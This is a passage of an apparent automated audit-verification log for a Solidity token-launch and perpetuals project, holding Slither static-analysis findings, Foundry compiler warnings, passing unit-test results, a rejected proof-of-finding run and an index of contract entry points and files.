State Variable\n[low] non-reentrant-not-first at src/IMD6900RobinhoodLaunch.sol:300: `nonReentrant` is Not the First Modifier (7 places)\n[low] push-zero-opcode at src/IMD6900.sol:2: PUSH0 Opcode (7 places)\n[low] require-revert-in-loop at src/IMD6900RobinhoodLaunch.sol:378: Loop Contains `require`/`revert` (4 places)\n[low] state-change-without-event at src/perps/PerpEngine.sol:360: State Change Without Event (13 places)\n[low] state-no-address-check at src/IMD6900Hook.sol:125: Address State Variable Set Without Checks (9 places)\n[low] unchecked-return at src/IMD6900LockedPool.sol:162: Unchecked Return (10 places)\n[low] uninitialized-local-variable at src/IMD6900RobinhoodLaunch.sol:599: Uninitialized Local Variable (6 places)\n[low] unsafe-erc20-operation at src/perps/PerpSwapLib.sol:454: Unsafe ERC20 Operation (3 places)\n[low] unspecific-solidity-pragma at src/IMD6900.sol:2: Unspecific Solidity Pragma (6 places)\n[low] unused-error at src/perps/PerpVault.sol:190: Unused Error (2 places)\n[low] unused-import at src/perps/PerpVault.sol:5: Unused Import\n[low] unused-public-function at src/IMD6900Hook.sol:106: Public Function Not Used Internally (3 places)","passed":true},{"durationMs":20434,"exitCode":1,"name":"proof f904829ff7fb","output":"Compiling 68 files with Solc 0.8.26\nSolc 0.8.26 finished in 10.31s\nCompiler run successful with warnings:\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/imd-proof-cd85b023/Proof_f904829ff7fb.t.sol:75:49:\n   |\n75 |     function _mineHook() internal view returns (bytes32) {\n   |                                                 ^^^^^^^\n\nWarning (6321): Unnamed return variable can remain unassigned. Add an explicit return with value to all non-reverting code paths or name the variable.\n  --> test/imd-proof-cd85b023/Proof_f904829ff7fb.t.sol:85:49:\n   |\n85 |     function _mineCoin() internal view returns (bytes32) {\n   |                                                 ^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:391:5:\n    |\n391 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 1 test for test/imd-proof-cd85b023/Proof_f904829ff7fb.t.sol:SplitDriftTest\n[FAIL: vm.deployCode: no matching artifact found] setUp() (gas: 0)\nSuite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 301.86µs (0.00ns CPU time)\n\nRan 1 test suite in 2.68ms (301.86µs CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)\n\nFailing tests:\nEncountered 1 failing test in test/imd-proof-cd85b023/Proof_f904829ff7fb.t.sol:SplitDriftTest\n[FAIL: vm.deployCode: no matching artifact found] setUp() (gas: 0)\n\nEncountered a total of 1 failing tests, 0 tests succeeded\n\nTip: Run `forge test --rerun` to retry only the 1 failed test\nTip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger\n","passed":false}],"detail":"the proof for \"split() re-splits a payee's refused share on every call, so the pot's 90% drifts into the $IMD burn bucket (merged: audit_economics + audit_flow)\" failed on the code it was reported against and still fails on this revision. Make it pass, or answer the finding \"disputed\" if the test itself is wrong.","evaluation":"checks","profile":"foundry","status":"rejected","submissionHash":"5792f5cc94438c065561517d7bfd9ad4bbdb7e05c60fc2db0484cd92efb37945","verifiedTreeHash":"56a57dca73c75af343d96d371413d1354705bb55","verifierVersion":"0.1.0+163fed5b"},{"checks":[{"durationMs":38396,"exitCode":0,"name":"build","output":"Compiling 93 files with Solc 0.8.26\nSolc 0.8.26 finished in 38.26s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:391:5:\n    |\n391 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":347,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[PASS] test_TheWholeLaunchOnRobinhood() (gas: 2548)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 245.11µs (17.29µs CPU time)\n\nRan 1 test for test/FactoryDeployment.t.sol:FactoryDeploymentTest\n[PASS] test_FactoryConstructorWithExactArgumentsAndNoDependencies() (gas: 25276491)\nLogs:\n  factory CREATE2 gas: 8181916\n  factory CREATE2 gas: 8159612\n  factory CREATE2 gas: 8159655\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.35ms (2.20ms CPU time)\n\nRan 2 tests for test/Twap.t.sol:TwapTest\n[PASS] testFuzz_TwapSearchMatchesLinearReference(uint8,uint8,uint16) (runs: 256, μ: 354027, ~: 271253)\nLogs:\n  Bound result 14\n  Bound result 381\n\n[PASS] test_TwapNeedsAtLeastOneSecondOfHistory() (gas: 54172)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 5.15ms (5.09ms CPU time)\n\nRan 16 tests for test/Perps.t.sol:PerpsTest\n[PASS] test_ALongRoundTripPaysNoPoolFee() (gas: 1069913)\nLogs:\n  a 0.1 ETH 5x long, opened and closed: back: 0.093099999999999968\n\n[PASS] test_AShortRoundTrip() (gas: 1856758)\nLogs:\n  a 0.1 ETH 3x short, opened and closed: back: 0.093099999999999998\n\n[PASS] test_AWhaleDumpLiquidatesInTheHooksSweepFirst() (gas: 1895592)\n[PASS] test_EthVaultQueueAndFeeSplitStayBacked() (gas: 1212800)\n[PASS] test_HealthyPositionBlocksFeeMoveAfterOneYear() (gas: 1483285)\n[PASS] test_NoFeeMoveWithAPositionOpen() (gas: 659464)\n[PASS] test_OnlyTheTimelockTunesThePerps() (gas: 120313)\n[PASS] test_PerpFeesReachThePot() (gas: 704516)\n[PASS] test_PositionsStayClosableAfterTheTimelockReplacesTheEngine() (gas: 1507334)\n[PASS] test_PositionsStayClosableAfterTheTimelockTurnsPerpsOff() (gas: 1389423)\n[PASS] test_ReportedRangeEndDrainCannotExhaustLongBacking() (gas: 14360480)\nLogs:\n  real ETH remaining: 103843307849973044\n  virtual ETH depth: 19366225365553498597\n  long principal: 93100000000000000\n  open positions: 4\n\n[PASS] test_ThePerpsAreCreatedAndWired() (gas: 145468)\n[PASS] test_ThePerpsCodeIsTheAuditedCode() (gas: 61437494)\n[PASS] test_ThePerpsPassTheAdmissionScan() (gas: 14699071)\n[PASS] test_TheSideLargerByNotionalPaysFunding() (gas: 2717097)\n[PASS] test_TokenVaultQueueAndYieldStayBacked() (gas: 2373292)\nSuite result: ok. 16 passed; 0 failed; 0 skipped; finished in 206.46ms (223.32ms CPU time)\n\nRan 55 tests for test/IMD6900RobinhoodLaunch.t.sol:IMD6900RobinhoodLaunchTest\n[PASS] test_ARefusedShareIsNeverSplitAgain() (gas: 2838862)\n[PASS] test_BurnCapCannotBeMulticalled() (gas: 4689815)\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 3073682)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1286941)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1489201)\n[PASS] test_ClaimsNeverPassTheReserve() (gas: 1812476)\n[PASS] test_ClaimsOneForOne() (gas: 1611797)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208804)\n[PASS] test_DeploysOnAFreshChain() (gas: 6540218)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4478389)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2391852)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1328189)\n[PASS] test_FitsOneTransaction() (gas: 12675117)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 8171073\n  createHook gas: 1266652\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1874429)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1458817)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1336622)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1327854)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2230804)\n[PASS] test_NoClaimsAllOfItBack() (gas: 2022928)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2110514)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 2128482)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 179053)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 2000770)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1328368)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 98008)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 92199)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117819)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1850205)\n[PASS] test_OwnershipCannotBeRenounced() (gas: 40145)\n[PASS] test_PassesTheAdmissionScan() (gas: 15740514)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1479575)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702656)\n[PASS] test_RefusesTheWrongAddress() (gas: 710106)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSale() (gas: 2842199)\n[PASS] test_SellHeldRefundSurvivesPostTradeNestedSwap() (gas: 2623972)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSale() (gas: 2843045)\n[PASS] test_SellHeldRefundSurvivesPreTradeNestedSwap() (gas: 2624456)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1302956)\n[PASS] test_TheBurnBuyRefusesAPushedPrice() (gas: 4548724)\n[PASS] test_TheBurnDebitsOnlyWhatThePoolTook() (gas: 3029307)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1215295)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1829979)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1261380)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1324850)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2816543)\n[PASS] test_TheFeeIsStatic() (gas: 1611083)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5722586)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1373011)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21922)\n[PASS] test_TheLiquidityIsLocked() (gas: 2183332)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2340760)\n[PASS] test_TheTimelockRecoversOrRepointsARefusedShare() (gas: 1934642)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2232857)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1679362)\n[PASS] test_TradesBothWays() (gas: 1583336)\nSuite result: ok. 55 passed; 0 failed; 0 skipped; finished in 206.56ms (189.17ms CPU time)\n\nRan 5 test suites in 207.90ms (420.77ms CPU time): 75 tests passed, 0 failed, 0 skipped (75 total tests)\n","passed":true},{"durationMs":89,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900.approve(address,uint256)\",\"IMD6900.burn(uint256)\",\"IMD6900.permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\",\"IMD6900.transfer(address,uint256)\",\"IMD6900.transferFrom(address,address,uint256)\",\"IMD6900Hook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900Hook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900Hook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900Hook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900Hook.cancelOwnershipHandover()\",\"IMD6900Hook.completeOwnershipHandover(address)\",\"IMD6900Hook.initPerpEngine(address)\",\"IMD6900Hook.renounceOwnership()\",\"IMD6900Hook.requestOwnershipHandover()\",\"IMD6900Hook.setPerpEngine(address)\",\"IMD6900Hook.setPerpRefunded(bool)\",\"IMD6900Hook.setSweepFailOpen(bool)\",\"IMD6900Hook.transferOwnership(address)\",\"IMD6900LockedPool.collect()\",\"IMD6900LockedPool.createPerps(bytes,bytes)\",\"IMD6900LockedPool.feeCheckpoint()\",\"IMD6900LockedPool.feeRefund(address)\",\"IMD6900LockedPool.lowerFee(uint24)\",\"IMD6900LockedPool.open(address,uint160,uint256)\",\"IMD6900LockedPool.receive()\",\"IMD6900LockedPool.setCoinFeeTo(address)\",\"IMD6900LockedPool.setHook(address)\",\"IMD6900LockedPool.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.addFees()\",\"IMD6900RobinhoodLaunch.addPerpFees()\",\"IMD6900RobinhoodLaunch.anchorImd()\",\"IMD6900RobinhoodLaunch.burnImd(uint256)\",\"IMD6900RobinhoodLaunch.cancelOwnershipHandover()\",\"IMD6900RobinhoodLaunch.claim(uint256,uint256,bytes32[])\",\"IMD6900RobinhoodLaunch.completeOwnershipHandover(address)\",\"IMD6900RobinhoodLaunch.createHook(bytes32)\",\"IMD6900RobinhoodLaunch.endClaims()\",\"IMD6900RobinhoodLaunch.harvest()\",\"IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address)\",\"IMD6900RobinhoodLaunch.receive()\",\"IMD6900RobinhoodLaunch.recoverEth(address,uint256)\",\"IMD6900RobinhoodLaunch.releaseExcess(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseImdstr(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseUnclaimed(address)\",\"IMD6900RobinhoodLaunch.renounceOwnership()\",\"IMD6900RobinhoodLaunch.requestOwnershipHandover()\",\"IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address)\",\"IMD6900RobinhoodLaunch.setClaims(bytes32,uint256,uint256)\",\"IMD6900RobinhoodLaunch.setImdBurn(address)\",\"IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address)\",\"IMD6900RobinhoodLaunch.setPayees(address[],uint16[])\",\"IMD6900RobinhoodLaunch.setPerpFeeTo(address)\",\"IMD6900RobinhoodLaunch.split()\",\"IMD6900RobinhoodLaunch.transferOwnership(address)\",\"IMD6900RobinhoodLaunch.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.withdrawEth(address,uint256)\",\"PerpEngine.claimPayout()\",\"PerpEngine.close(uint256,uint256)\",\"PerpEngine.flushFees()\",\"PerpEngine.fundFromVault()\",\"PerpEngine.fundInsurance()\",\"PerpEngine.fundPlv()\",\"PerpEngine.fundPlvToken(uint256)\",\"PerpEngine.fundTokenFromVault(uint256)\",\"PerpEngine.liquidate(uint256)\",\"PerpEngine.openLong(uint8,uint256)\",\"PerpEngine.openShort(uint8,uint256)\",\"PerpEngine.poke()\",\"PerpEngine.receive()\",\"PerpEngine.selfSweep(address)\",\"PerpEngine.setFeeSink(address)\",\"PerpEngine.setFees(uint256,uint256,uint256)\",\"PerpEngine.setGuards(uint32,uint256,uint256)\",\"PerpEngine.setMinCollateral(uint256)\",\"PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256)\",\"PerpEngine.setShortCap(uint256)\",\"PerpEngine.setVault(address)\",\"PerpEngine.setVaultLimits(uint256,uint256)\",\"PerpEngine.setVaultSplit(uint256,uint256)\",\"PerpEngine.skimInsurance(uint256,address)\",\"PerpEngine.sweepLiquidations(address,int256,bool,uint160)\",\"PerpEngine.transferOwnership(address)\",\"PerpEngine.unlockCallback(bytes)\",\"PerpEngine.withdrawPlvTo(uint256,address)\",\"PerpEngine.withdrawPlvTokenTo(uint256,address)\",\"PerpEngine.withdrawTokYieldTo(uint256,address)\",\"PerpVault.claimPendingEth()\",\"PerpVault.claimPendingToken()\",\"PerpVault.claimTokYield()\",\"PerpVault.depositEth()\",\"PerpVault.depositToken(uint256)\",\"PerpVault.settlePendingEth(address)\",\"PerpVault.settlePendingToken(address)\",\"PerpVault.withdrawEth(uint256)\",\"PerpVault.withdrawToken(uint256)\"],\"files\":{\".gitignore\":15,\"ADAPTATION.md\":124,\"README.md\":156,\"foundry.toml\":30,\"jobs/swarm-launch.json\":27,\"script/claims.py\":88,\"script/launch.sh\":269,\"script/mine.sh\":12,\"script/params.py\":64,\"script/programmable_plan.py\":205,\"snapshots/rh-community-2026-10-09.json\":56,\"src/IMD6900.sol\":29,\"src/IMD6900Hook.sol\":255,\"src/IMD6900LockedPool.sol\":441,\"src/IMD6900RobinhoodLaunch.sol\":658,\"src/perps/PerpEngine.sol\":1285,\"src/perps/PerpSwapLib.sol\":729,\"src/perps/PerpVault.sol\":823,\"test/FactoryDeployment.t.sol\":64,\"test/HookSalt.sol\":47,\"test/IMD6900RobinhoodLaunch.t.sol\":1360,\"test/Perps.t.sol\":472,\"test/RobinhoodFork.t.sol\":255,\"test/Twap.t.sol\":56},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":16637,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/IMD6900LockedPool.sol:386: IMD6900LockedPool._payOutHeld() (src/IMD6900LockedPool.sol#386-396) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/perps/PerpEngine.sol:1048: PerpEngine._sendEth(address,uint256) (src/perps/PerpEngine.sol#1048-1052) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/IMD6900RobinhoodLaunch.sol:503: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#503-531) sends eth to arbitrary user\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:582: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#582-692):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:582: Reentrancy in PerpEngine._doSweep(address,bool,int256,bool,uint160) (src/perps/PerpEngine.sol#582-692):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[high/medium] reentrancy-eth at src/IMD6900RobinhoodLaunch.sol:503: Reentrancy in IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#503-531):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:808: Reentrancy in PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886):\n[high/medium] reentrancy-eth at src/perps/PerpEngine.sol:464: Reentrancy in PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#464-492):\n[high/medium] reentrancy-eth at src/perps/PerpVault.sol:253: Reentrancy in PerpVault.depositEth() (src/perps/PerpVault.sol#253-281):\n[medium/medium] divide-before-multiply at src/perps/PerpEngine.sol:808: PerpEngine._settle(uint256,Position,uint256,uint8,address) (src/perps/PerpEngine.sol#808-886) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:1014: PerpEngine._routeFee(uint256,bool) (src/perps/PerpEngine.sol#1014-1032) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:297: IMD6900RobinhoodLaunch.withdrawEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#297-303) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpSwapLib.sol:249: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32) (src/perps/PerpSwapLib.sol#249-310) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:576: IMD6900RobinhoodLaunch.imdFloorSqrtPriceX96() (src/IMD6900RobinhoodLaunch.sol#576-582) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:503: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#503-531) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:396: IMD6900RobinhoodLaunch.recoverEth(address,uint256) (src/IMD6900RobinhoodLaunch.sol#396-410) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:411: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#411-426) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:1036: PerpEngine._payOut(address,uint256) (src/perps/PerpEngine.sol#1036-1046) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:311: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#311-342) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/perps/PerpEngine.sol:411: PerpEngine._pokeFunding() (src/perps/PerpEngine.sol#411-426) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/IMD6900RobinhoodLaunch.sol:503: IMD6900RobinhoodLaunch.split() (src/IMD6900RobinhoodLaunch.sol#503-531) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:544: Reentrancy in IMD6900RobinhoodLaunch.burnImd(uint256) (src/IMD6900RobinhoodLaunch.sol#544-560):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:299: Reentrancy in PerpVault.withdrawEth(uint256) (src/perps/PerpVault.sol#299-319):\n[medium/medium] reentrancy-no-eth at src/perps/PerpVault.sol:486: Reentrancy in PerpVault.claimPendingEth() (src/perps/PerpVault.sol#486-506):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:441: Reentrancy in IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address) (src/IMD6900RobinhoodLaunch.sol#441-451):\n[medium/medium] reentrancy-no-eth at src/IMD6900RobinhoodLaunch.sol:209: Reentrancy in IMD6900RobinhoodLaunch.createHook(bytes32) (src/IMD6900RobinhoodLaunch.sol#209-224):\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:593: PerpEngine._doSweep(address,bool,int256,bool,uint160).pendingIds (src/perps/PerpEngine.sol#593) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:540: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundQuote (src/perps/PerpSwapLib.sol#540) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:541: PerpSwapLib.swapLeg(IPoolManager,PoolKey,PerpSwapLib.Req,bool,bytes).refundTok (src/perps/PerpSwapLib.sol#541) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:163: PerpSwapLib.projectedSqrtPriceX96(uint160,uint256,uint256,int256,bool,uint160).amountIn (src/perps/PerpSwapLib.sol#163) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpSwapLib.sol:284: PerpSwapLib.twapTick(PerpSwapLib.Observation[32],PerpSwapLib.Ring,uint32).lo (src/perps/PerpSwapLib.sol#284) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:375: IMD6900RobinhoodLaunch.setPayees(address[],uint16[]).sum (src/IMD6900RobinhoodLaunch.sol#375) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:640: PerpEngine._doSweep(address,bool,int256,bool,uint160).condemnedRemains (src/perps/PerpEngine.sol#640) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:639: PerpEngine._doSweep(address,bool,int256,bool,uint160).killedAny (src/perps/PerpEngine.sol#639) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:608: IMD6900RobinhoodLaunch.unlockCallback(bytes).sold (src/IMD6900RobinhoodLaunch.sol#608) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:1016: PerpEngine._routeFee(uint256,bool).toVault (src/perps/PerpEngine.sol#1016) is a local variable never initialized\n[medium/medium] uninitialized-local at src/IMD6900RobinhoodLaunch.sol:607: IMD6900RobinhoodLaunch.unlockCallback(bytes).ethOut (src/IMD6900RobinhoodLaunch.sol#607) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:1017: PerpEngine._routeFee(uint256,bool).toIns (src/perps/PerpEngine.sol#1017) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpVault.sol:816: PerpVault.pendingTokYield(address).earned (src/perps/PerpVault.sol#816) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:598: PerpEngine._doSweep(address,bool,int256,bool,uint160).scanned (src/perps/PerpEngine.sol#598) is a local variable never initialized\n[medium/medium] uninitialized-local at src/perps/PerpEngine.sol:637: PerpEngine._doSweep(address,bool,int256,bool,uint160).clean (src/perps/PerpEngine.sol#637) is a local variable never initialized\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:599: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#599-632) ignores return value by poolManager.settle{value: ethIn}() (src/IMD6900RobinhoodLaunch.sol#629)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:570: IMD6900RobinhoodLaunch.imdSpotSqrtPriceX96() (src/IMD6900RobinhoodLaunch.sol#570-572) ignores return value by (sqrtPriceX96,None,None,None) = StateLibrary.getSlot0(poolManager,PoolIdLibrary.toId(imdPoolKey())) (src/IMD6900RobinhoodLaunch.sol#571)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:590: IMD6900RobinhoodLaunch.harvest() (src/IMD6900RobinhoodLaunch.sol#590-593) ignores return value by pool.collect() (src/IMD6900RobinhoodLaunch.sol#591)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:570: PerpSwapLib._grossUp(IPoolManager,PoolKey,bool,uint256) (src/perps/PerpSwapLib.sol#570-580) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,PoolIdLibrary.toId(key)) (src/perps/PerpSwapLib.sol#575)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:150: IMD6900LockedPool.open(address,uint160,uint256) (src/IMD6900LockedPool.sol#150-171) ignores return value by poolManager.initialize(poolKey(),start) (src/IMD6900LockedPool.sol#162)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:599: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#599-632) ignores return value by poolManager.settle() (src/IMD6900RobinhoodLaunch.sol#617)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:367: IMD6900LockedPool._liquidityFor(uint256,uint256) (src/IMD6900LockedPool.sol#367-382) ignores return value by (p,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900LockedPool.sol#368)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:599: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#599-632) ignores return value by (None,back) = pool.feeRefund(address(this)) (src/IMD6900RobinhoodLaunch.sol#612)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:305: IMD6900LockedPool.state() (src/IMD6900LockedPool.sol#305-309) ignores return value by (sqrtPriceX96,tick,None,None) = poolManager.getSlot0(id) (src/IMD6900LockedPool.sol#307)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-195) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900LockedPool.sol#190)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:311: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#311-342) ignores return value by pool.open(t,sqrtPriceX96,SUPPLY) (src/IMD6900RobinhoodLaunch.sol#326)\n[medium/medium] unused-return at src/perps/PerpEngine.sol:346: PerpEngine._slot0() (src/perps/PerpEngine.sol#346-348) ignores return value by (s,t,None,None) = poolManager.getSlot0(poolId) (src/perps/PerpEngine.sol#347)\n[medium/medium] unused-return at 